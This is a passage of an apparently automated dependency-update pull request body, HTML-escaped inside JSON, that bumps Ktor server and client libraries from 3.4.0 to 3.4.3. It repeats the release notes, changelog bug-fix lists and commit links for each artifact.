href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.0...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.4.0 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.0...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-client-core` from 3.4.0 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-client-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the 